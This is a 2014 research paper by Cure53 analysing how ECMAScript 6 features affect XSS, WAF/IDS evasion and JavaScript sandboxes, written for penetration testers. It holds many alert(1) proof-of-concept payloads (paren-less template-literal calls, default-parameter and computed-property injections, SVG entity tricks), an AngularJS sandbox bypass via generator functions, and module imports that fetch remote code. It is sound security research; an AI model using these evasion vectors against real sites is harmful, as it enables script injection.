ECMAScript 6 for Penetration Testers

"Notes on how the new JavaScript changes Web- and DOM Security"

An early, best-effort analysis by Mario Heiderich (Cure53), October 2014

ECMAScript 6 will bring many changes to how JavaScript code works and what language features developers can benefit from. While the specifiers are still actively discussing some features on their mailing lists, certain browser vendors decided to jump ahead and start implementing them. Let's have a look at still actively discussing some features and what we need to know in order to be prepared for upcoming script injection attacks.

Introduction

ECMAScript 6 (ES6) was first announced back in 2008 by no other than Brendan Eich[1]. It was at the time labelled with the code name “Harmony” and believed to be able to supersede ES4. What remains largely unknown is that ES4 was supposed to bring more revolutionary changes to syntax and semantics of JavaScript languages than any other proposal[2]. Illustratively, even ES6 pales in comparison and appears fairly moderate in terms of changes and extensions. After all, the simplicity of a language decides over its success and penetrability. Over the past years leading to today, the ES6 is now shaping to become the new scripting language for the web, aimed towards fixing syntactic bottlenecks and peculiarities of what we know as JavaScript or ES3, and even ES5. The ES6, sometimes also referred to as ES.next, is scheduled for a release in June 2015[3].

Today browser vendors support only a subset of what is being proposed by the designers of the ES6. Given that the specification is still in a draft phase, different platforms support distinct subsets of the ES6, based on different spec revisions. This short paper is meant to give an overview of what is supported already and by whom. Most importantly, following crucial questions are tackled here: How these new features affect web security? Are attackers granted a smaller or a larger surface? Do web developers have to install new filters and protective measures? Or, perhaps, things can stay as they are? In addition, let’s consider if our fellow WAF and IDS vendors have to update their signatures to stay up to par with upcoming injection attacks - or is there no change necessary? And, lastly, how does ES6 affect the state of existing and upcoming JavaScript sandboxes?

This paper delivers a review of those features and novelties in the ES6 that are security-relevant and potentially of use for penetration testers. Some ES6 features[4] were thus taken out of scope, as it is believed that they do not have security impact thus far. In essence, this paper does *not* (nor it aims to) deliver a comprehensive overview over what the ES6 is, nor does it analyze its features and quirks. We will not do a deep-dive into why certain features exist, how they work and what their creators’ intentions were. For that, there are excellent resources out there already[5] and if you want the full package, the literal bucket of fun, the best thing to go with is following the mailing lists on the matter[6]. Anyhow, let’s get started!

[1] http://en.wikipedia.org/wiki/ECMAScript
[2] http://www.ecma-international.org/activities/Languages/Language%20overview.pdf
[3] http://en.wikipedia.org/wiki/ECMAScript#ECMAScript_Harmony_.286th_Edition.29
[4] e.g., Weak Maps and Sets, so boring
[5] https://people.mozilla.org/~jorendorff/es6-draft.html
[6] https://esdiscuss.org/

Spread Call Operator

ES6 allows for an interesting thing to happen to strings and arrays: They can be “spread out”. Yikes. What it means is that, for example, a long string can be split into single characters without using a function such as *split()* - but employing an operator instead. The operator chosen for this job is the triple-dot, which is the actual three single “dot” characters (U+002E). The following code would therefore take the string “abc” and split it into an array, comprising of the strings “a”, “b” and “c”:

```
console.dir(...['abc']) //=> ["a","b","c"]
```

When, however, one is *not* using an array, the spread operator just returns the first character of the string. Whatever comes afterwards is being thrown overboard:

```
console.dir(...'abc') //=> "a"
var x = alert; eval(...'xyz')(1) // alerts the number one
alert.call(...[top,1]) // alert(1)
```

One can also merge one array into another using the spread operator by simply executing the following code:

```
var merge = ['b', 'c'];
console.dir(['a', ...merge, 'd', 'e'])
//=> ["a", "b", "c", "d", "e"]
```

From a security point of view the spread operator is fairly unspectacular. Note that it can only be used with objects that are *iterable*[7]. So we cannot spread *window*, *location* or other potentially interesting objects just so, and our activities are limited to Strings and Arrays, Maps and Sets. Let's also not forget the Iterators, of course!

```
var a = { hello: eval };
var b = Iterator(a);
[...b][0][1]('alert(1)')
```

Note that functions containing the yield keyword[8] (i.e., Generators) are automatically flagged to be iterable too, so the bandwidth of objects a spread operator can work with is actually quite large:

```
function a(){ yield eval }
[...a()][0]('alert(1)')
```

Further, keep in mind that messing with an object prototype’s @@-properties means that one can also turn those things that should by no means be iterable into iterables It’s possible to simply borrow the functionality of an iterable and inject it into a non-iterable[9]:

[7] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable
[8] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/yield
[9] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable

```
Object.prototype['@@iterator']=String.prototype['@@iterator'];
[...Object] //-> ["f","u","n","c","t","i","o", ... ]

// and, as @mathias points out
Object.prototype[Symbol.iterator] = String.prototype[Symbol.iterator];
```

Be aware though, tampering with those properties in yours or anyone else's DOM might cause exotic artifacts and side effects. Don't try this at home.

Arrow Functions

Arrow functions[10], also known as *fat* arrow functions, allow a developer to use a different and pretty much simplified syntax to create functions. Arrow functions can only be anonymous, cannot contain the yield keyword and deal a bit differently with the *this* keyword (when compared to regular functions[11]). Most noteworthy however is the lack of curlies and parentheses to create an arrow function. We just need the so called "fat arrow" ("=>"). Interestingly enough, Firefox used to allow curly-less functions in the past (as a shorthand notation known as "Expression Closures"[12]). See for yourself:

```
function $()alert(1)
```

Today, however, thanks to the arrow functions, we save on curlies and much more:

```
a => b
$=>alert(1)
new Promise($=>alert(1))
```

There are some curious implications on the scope of arrow functions out there. Based on the lexical scoping used by them, they are a good source for getting hands on a window - even in those situations where other kinds of functions would return undefined or different data. This might be very useful here and there:

```
'use strict';
(function(){return this})(); // undefined
($=>{return this})(); // Window
($=>this)(); // Window
```

So not only are arrow functions special in regards to the syntax, but they also might help in scenarios, where an injection or sandbox bypass has trouble getting a reference to window or any other global object. Do keep in mind that by using tricks to be discussed further below, an attacker can create an arrow function containing almost arbitrary payload without using any parentheses at all.

At the time of writing, Gecko and Blink offer support for arrow functions[13].

[10] http://wiki.ecmascript.org/doku.php?id=harmony:arrow_function_syntax
[11] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/arrow_functions
[12] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Closures#Expression_closures
[13] http://kangax.github.io/compat-table/es6/#arrow_functions

for … of Statements

The new *for...of* statement is a fairly boring yet useful feature addition[14]. It basically enables developers to directly access not only the indexes in a loop like in a *for...in* statement[15], but the values as well. If, for example, iterating takes place over an array, the values are being returned instead if the indexes.

```
arr = [$=>alert(1)]; for (i of arr) { i() }
```

It's hardly expected to be useful in an attack, yet it might facilitate shortening of attack vectors in the sense that it saves the characters that would be otherwise necessary if a *for...in* statement was chosen. Adding to this it's not possible to iterate over objects such as window or location as the iteration target needs to be "iterable" - and - as mentioned before when we discussed the Spread Call Operator - those objects are not. Boring, moving on.

At the time of writing, Gecko, Blink and WebKit offer support for the *for...of* statement[16].

Function.toMethod()

The purpose of *Function.toMethod()* is to provide means for accessing a method from a superclass and generating a fresh function object with a new home[17]. The only security-relevant aspect of this feature at present is the possibility to extend the dot-chain when accessing a specific function or object. This is relevant for sandboxes, such as the one that AngularJS delivers[18]. However, the same can be done with the use of *valueOf()* and other shenanigans, so for the attacker, *toMethod()* doesn't significantly fill up the bag of tricks..

```
window.alert.valueOf()(1);    // ye olde way
window.alert.toMethod({})(1); // a new way
```

Chrome Canary is currently the only browser supporting the *toMethod()* logic, the "JavaScript experiments" flag needs to be enabled.

Generator Functions

Generator Functions[19] fulfil a special need for developers and are unique in terms of syntax, as they require an asterisk to be used behind the *function* keyword[20]. A generator is a function that can be entered, exited and re-entered again, remaining in the state that it was exited at. This is useful during an action of

[14] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of
[15] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...in
[16] http://kangax.github.io/compat-table/es6/#For..of_loops
[17] https://people.mozilla.org/~jorendorff/es6-draft.html#sec-function.prototype.tomethod
[18] https://angularjs.org/
[19] http://wiki.ecmascript.org/doku.php?id=harmony:generators
[20] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*

iterating over an iterable object, accessing data, exiting the iteration and later continuing from the very same point.

Not much is to be said about these functions in the contexts of security and sandboxing, except for the following: Generator functions, unlike "classic" functions, do not use the *Function* constructor but their own object. This object, just like the Function constructor is still able to receive a string and use it to set the function body of the resulting generator. So here we basically get another "eval" we can use:

```
(function*(){}).constructor('alert(1)')().next()

a = function*(){};
a().constructor.constructor('alert(1)')().next()

(function*(){}).constructor //=> GeneratorFunction()
```

Still, can we do any harm with it already? Well, here's a real life problem relating to Generator Functions. AngularJS[21] and its "sandbox". The AngularJS developers wish to make sure that the framework handles code securely, that might allow an attacker to access the global scope from within an expression. So, upon parsing and evaluating expressions, they try to guarantee that certain "dangerous" objects are being restricted and evaluation shall cease. Among those very objects is the notorious Function constructor. AngularJS checks if that object is used by comparing the object to its own constructor. If that is the case, a Function constructor appears to be present and the evaluation stops.

```
function ensureSafeObject(obj, fullExpression) {
  if (obj) {
    if (obj.constructor === obj) {
      throw $parseMinErr(
    'isecfn',
    'Referencing Function in Angular expressions is disallowed..',
    fullExpression);
    }
      ...
    }
  }
  return obj;
}
```

A Generator Function nevertheless has similar capabilities to those of the Function constructor, but is built upon a different constructor - the object "GeneratorFunction"[22]. This means the check AngularJS performs fails due to the fact that the objects are not equal. Consequently, they are deemed harmless and the sandbox can be bypassed. For a working attack a generator function has to be in scope for the AngularJS expression. So far, it's not possible to directly access the *GeneratorFunction* object from *window*:

[21] https://angularjs.org/
[22] http://stackoverflow.com/questions/16754956/check-if-function-is-a-generator

```
<!doctype html>
<html lang="en" ng-app="x">
<head>
  <script src="/1.3.0-beta.18/angular.js"></script>
  <script>
    angular.module('x', []).controller('y', function($scope) {
      $scope.safe   = function() {}
      $scope.unsafe = function*(){}
    });
  </script>
</head>
<body ng-controller="y">
  <p>{{safe.constructor('alert(1)')()}}</p>
  <p>{{unsafe.constructor('alert(1)')().next()}}</p>
</body>
</html>
```

At the time of writing, only Gecko and Blink offer support for Generator Functions[23]. Note that the future will likely bring us fat-arrow generators as well. In a nutshell, code fragments like this might be working soon as well, just note the extra asterisk in front of the fat arrow:

```
x *=> x * x;
```

Default Function Parameters

Here's a thing we couldn't do before ES6 and that thing is execution of code from within a function's arguments. It was impossible before to abuse an injection in this area because the parser would not accept computed properties, usually saying 'goodbye' with an error right then and there. So for any injection aficionado coming to this dead space usually meant no way of carrying out an XSS: the story of 'so close and yet so far away'. Hold on though because this has changed in ES6. The feature is called Default Function Parameters[24] and allows specifying a value that is being used in case no actual argument is given.

```
function a(/* injection in here? now what? */){};
a();

/* ES6 to the rescue! */
function a(a=alert(1)){};
a();
```

As we can see, thanks to the ES6, it's now indeed possible to make use of an injection into that part of a function declaration, which we formerly known and loved as a usual dead-end. Default Function Parameters give us a possibility to make the whole thing dynamic. What is special here? - one may ask.

[23] http://kangax.github.io/compat-table/es6/#Generators_(yield)
[24] https://github.com/esnext/es6-default-params

The clue is that the code is being executed as soon as the function is being called. And that works only if no actual parameter replacing the default parameter is being passed into the call.

```
function a(a, b, c, d=alert(arguments[0]),e=alert(abc)){
    var abc = 2;
};
a(1,2,3);
```

As it can be seen above, we execute code from within the function scope but before the body of the function is available. This way we can access and manipulate arguments from what's technically an argument too - but we cannot seem to get access to the variable "abc". At the time of writing, only Gecko supports Default Function Parameters[25].

Computed Properties

For ES5 we do not really have many ways at our disposal if our task at hand is to influence the code for an object property's name and make it dynamic - or computed, as some may say. This would render an injection into this part of the object to be more or less useless, so that yet again we find ourselves in what we earlier referred to as "a dead zone". That is: we do have an injection - but, regrettably, we cannot do anything with it. There used to be a trick involving the use of a getter and a conditional statement to accomplish this and mimic property-value pairs. Unfortunately, it wasn't very useful in the wild and required us to use parenthesis and other special characters (note that we made use of "Expression Closures" again here to save on curlies):

```
({get $()alert(1)?0 : 1})
```

A novelty of the ES6 is a feature called Computed Properties. As the name indicates, this feature allows for code execution where the property name should be - and it takes what the code returns as its name:

```
({[alert(1)]: 1})
```

This is yet another place where we can now execute code where only static labels were possible before. So far this does not really affect anything that uses *JSON.parse()* but might possibly do so in the future. If used in an attack scenario, this trick might just give you the missing bit for turning a useless injection into something very much active and lead to arbitrary JavaScript execution.

At the time of writing, Computed Properties are supported only by latest WebKit builds and nightly builds of the Gecko engine[26].

[25] http://kangax.github.io/compat-table/es6/#default_function_params
[26] http://kangax.github.io/compat-table/es6/#computed_properties

Shorthand Methods

As we've seen just previously with Fat Arrow Functions, the assumption that defining a function requires using the word "function" in your source code is no longer true. Shorthand Methods are going in the very same direction. But this holds only true for object methods, so let's observe how we would normally define a function on an object:

```
obj = { foo: function foo() { alert(1) } };
```

So far so good. We have seen this, so it would be much more exciting to focus on other bits:

```
obj = { foo() { alert(1) } }
```

As you see, declaring the property name and the function name independently was quite expressive. This nice short version combines both. No more anonymous functions! But it gets better. Remember how you can leave out the curly braces { } when a code block is only a single expression? Well, you can surely do the very same thing with functions, no matter if it was declared classically or with the shorthand definition. But why stop here? Do you remember object getters? You can save on the parenthesis for the call of the function. Let's use *obj.foo* instead of *obj.foo()*:

```
var obj = { get foo() alert(1) }
```

Certainly we can also play with *valueOf*, can't we?

```
+{valueOf() {alert(1)}}
```

Oh wait, these braces are not obligatory:

```
+{valueOf() alert(1)}
```

Have fun playing around with absurd object definitions! But note, at the time of writing, only latest Gecko builds support this feature[27].

Proper Tail Calls

A tail call is a function call that happens as the last expression within another function. With Proper Tail Calls[28] (or Tail Call Optimisation), a runtime may optimize towards a smaller size of frames on the call stack. When the last thing a function does is indeed another function call, the JS engine may re-use the existing call frame instead of creating a new one. The goal here is to eliminate exceptions that say *Maximum call stack size exceeded* when recursing.

The most notable thing here is that access to the call stack is possible in JavaScript within a function through accessing *arguments.caller*. This is already non-functional in strict mode (declared with "use

[27] http://kangax.github.io/compat-table/es6/#shorthand_methods
[28] http://wiki.ecmascript.org/doku.php?id=harmony:proper_tail_calls

strict”). While there’s no obvious security implication of Tail Calls, it also means that analysis frameworks may not rely on a proper call stack (pun intended). Imagine this for when *api()* depends on side-effects and will return different values when called (e.g. Geolocation, Time):

```
function f1() {
  if (api()) {
    f2();
  } else {
    f3();
  }
}
function f2() {
  additionalActions();
  f3();
}
function f3() {
  throw new Error();
  catch(e) { console.log(e.stack) };
}
```

With PTC, the case where calling *api()* returns true as well as the other case, optimizations can take place so the stack may look like “f1() -> f3()” in both cases. Or is it[29]? There is, however, no JavaScript Engine that already supports Proper Tail Calls as we are writing up this section. In case the whole feature’s workings are still unclear to the fellow reader, it is highly recommended to watch Douglas Crockford’s video on JavaScript’s better parts[30]. The explanation given by him is clear in an insightful way, to say the least!

Quasi Literals: For Good and Evil

Now here’s a thing! Quasi Literals[31], often also referred to as “Template Strings”[32], are one of the major novelties in the ES6 that have real security impact and will mess things up. Quasi Literals are powerful, versatile and actually quite complex. Ultimately they allow an attacker to execute arbitrary JavaScript code without using any parenthesis. The feature is an umbrella for four sub-features:

1. Multiline Strings
2. Expression Interpolation
3. Tagged Templates

Let’s have a look at some examples and see why they work and what that may mean::

```
alert`1`
/* a tagged template. the string `1` decorated with the effects of
"alert" */
```

[29] https://esdiscuss.org/topic/function-arguments-in-jsc#content-6
[30] http://vimeo.com/97419177
[31] http://wiki.ecmascript.org/doku.php?id=harmony:quasis
[32] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/template_strings

```
``.constructor.constructor`alert\`1\````
/* same thing as above, just with nested template strings */

+{valueOf:$=>alert`1`}
/* combining valueOf with fat arrows and templates */
```

Apparently it seems that we can call functions using back-tick instead of parenthesis. This is, however, technically not true. We don't really call the function but rather decorate the string with an output from the function. So it's a tagged template and not a different way to call alert. That the alert pops up is mainly a side effect. At the same time, it is very useful for an attacker to bypass WAF and IDS. Behold, dear reader, it gets better:

```
var safe = `not${alert(1)}safe`
var safe = `not${alert`1`}safe`
```

Here we start using the "${}" syntax inside a back-tick-delimited string. That means that we make use of the actual templating feature and pipe the output from the expression back into the resulting string. Of course we can call arbitrary code inside that expression, but we can also use tagged templates to completely get rid of the necessity to use parenthesis. Injections into multi-line strings are the new black - although it might take some time until we can observe them in the wild. Similarly interesting things can be done by combining toString, fat arrows and Quasi Literals:

```
var foo = {toString:$=>alert`1`};
var bar = `not ${foo} safe`;
```

Last but not least, the impact of this new feature also reaches out to the world of SVG and MathML. Thanks to the two named character references available to express the back-tick, we can again create something that hasn't been possible ever before and execute arbitrary JavaScript just like this:

```
<svg><script>alert&grave;1&grave;<p>
<svg><script>alert&DiacriticalGrave;1&DiacriticalGrave;<p>
```

We can also combine template strings with computed properties for some extra fun and create another short, "paren-less" object that will execute arbitrary JavaScript code upon access:

```
+{[alert`1`]: 1}
```

But wait, that's not it! We can also use Quasi Literals for defence. In fact, this is what they have been proposed for and taking a closer look at the parameters the function call would get within a tagged template string illustrates that:

```
function myfunc (string, ...values) { … };
myfunc `bar ${9} and  ${ 5+3 }`
```

Note that the function is using the spread operators, which we discussed earlier. All parameters after the first one are combined into an array called *values*. But what we'd get here is not the string but the string disassembled into all its components:

```
console.log(string) => Array[ "bar ", " and ", ""]
console.log(values) => Array[ 9, 8 ]
```

The decorator function can now distinguish between static parts and expressions used within the string. We know that dealing with XSS requires us to escape differently, depending on whether the insertion happens within a tag, an attribute, a JavaScript string, and so forth. Nowadays, JavaScript template engines can parse the static string to identify in which HTML context the string insertion happens and escape accordingly. This leads the path to secure string interpolation and HTML templating! And - I kid you not - fine Mr. Mike Samuel from Google has already developed such a function[33]. You can check out the demo in a JavaScript REPL by selecting "Safe HTML with bad inputs" from the examples in the top right corner[34].

Modules

Modules are supposed to allow a developer to load an external file and import specifically chosen parts of it[35]. If, for example, a provider offers a JavaScript library to manage certain cryptographic tasks, an application can import[36] this library and pick from the offered features only the ones that are needed and discard the ones that may be ignored. An import from one side requires an export on the other side to work, so only code that is offered as a library can actually be imported and used by others. Otherwise, security risks would appear - especially if the importing party could specify exactly which part of the import will be used and which won't.

The syntax of imports is fairly new and doesn't compare to anything else we knew from the ES5 or even the ES6 before. Behold!

```
import {$} from "//html5sec.org/module"
export * from "//html5sec.org/module"
```

The code shown above doesn't work in any browser yet, at least it didn't at the time of writing. However, the Traceur project[37] offers limited support for modules and the code was tested on this transpiler tool. The first line, the one with the "import" keyword, fetches the code from *html5sec.org*, then tries to import the $ functionality. The second line of code tries to export something that is being fetched from *html5sec.org* - the same file. What happens in that file is the following:

[33] https://code.google.com/p/js-quasis-libraries-and-repl/
[34] https://js-quasis-libraries-and-repl.googlecode.com/svn/trunk/index.html
[35] http://wiki.ecmascript.org/doku.php?id=harmony:modules
[36] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import
[37] https://github.com/google/traceur-compiler

```
      export function $(){}
      alert(1)
```

That is all. We have one export and outside its boundaries we have an “alert(1)”. In the current implementations, this is sufficient to execute code without user interaction - the import or export itself will suffice to execute the alert in the context of the importing / exporting origin. This might be a bug in Traceur or become a reality in our browsers soon. We simply can’t know it yet. But both[38] examples[39] can be examined using Traceur’s live demo. It’s also possible to get rid of any suspicious character sequences such as the “//” implying usage of absolute URLs:

```
      import{i}from 'https:html5sec.org/module2'
      i```1`
```

PoC:
http://google.github.io/traceur-compiler/demo/repl.html#
import{i}from%20%27https%3Ahtml5sec.org%2Fmodule2%27%0Ai%60%60%601%60

Modules might have great impact on browser and web security, as they allow fetching and processing of external resources, and henceforth have to follow a large set of complex rules to work nicely in a browser environment. CORS, transport security, new types of injections, modules inside JavaScript sandboxes and other aspects have to be kept in mind and carefully considered - this will be interesting! At the time of writing, however, none of the tested browsers supported modules so there was no surface to test just yet.

Conclusion

In this paper we have shown what’s new and quirky in the ECMAScript 6. While some concepts are meaningful additions (like *for ... of*) to a language that has come to drive modern web applications in the backend as well as the frontend, some are mind-blowingly weird (I am looking at you, *Computed Properties*). We hope you now have a better understanding of how the ECMAScript 6 is changing the attack surface.

One takeaway from this paper might be that a new language brings new security challenges. We saw that the ES6 gives us new syntax constructs, new special characters to consider and filter, new window leaks, new ways of importing and processing external data and much, much more. While security is important for a language, the actual problems pop up once that language is being used in a variety of contexts that, in themselves, bring their own security implications and risks to the fold. While we would sincerely hope that there is no IDS which needs updating in light of these changes, we recommend you to prompt for an updated revision should you really have to rely on blacklist-style technology. As yet another takeaway, you should remember that parentheses aren’t necessary for function calls anymore. Property access is not side-effect free[40]. Function declarations do not require the word “function” anymore because of both fat arrow functions and the shorthand function declarations.

[38] http://google.github.io/traceur-compiler/demo/repl.html#export * from ”https://html5sec.org/module
[39] http://google.github.io/traceur-compiler/demo/repl.html#import {$} from ‘https://html5sec.org/module
[40] Well, *Getters and Setters* say they have never been

That being said, have a look at the applications you can test, your browser to play with, your sandbox to break, and go have some fun. We hope this paper gave you plenty of new surface to work with. And don’t forget to share your thoughts and criticisms - there are probably tons of issues we didn’t notice.

Resources & Acknowledgments

If you are interested in all the language and specification backgrounds for the ES6 Harmony we can recommend checking out either the official ECMAScript Wiki[41] or Dave Herman’s summary[42]. For quite some time now, Juriy “kangax” Zaytsev has maintained and updated the famous ES5 Compatibility table to show JavaScript feature support across browsers. He also added an extra table for the ES6 browser support some time ago[43] - and further maintains the ES7 Compatibility table for the brand new stuff.

Special thanks go out to Frederik Braun who helped with contributions, proof reading, and a lot of general input about the topic. And of course thanks to Brendan Eich for JavaScript, Frames and XSS.

[41] http://wiki.ecmascript.org/doku.php?id=harmony:proposals
[42] http://tc39wiki.calculist.org/es6/
[43] http://kangax.github.io/compat-table/es6/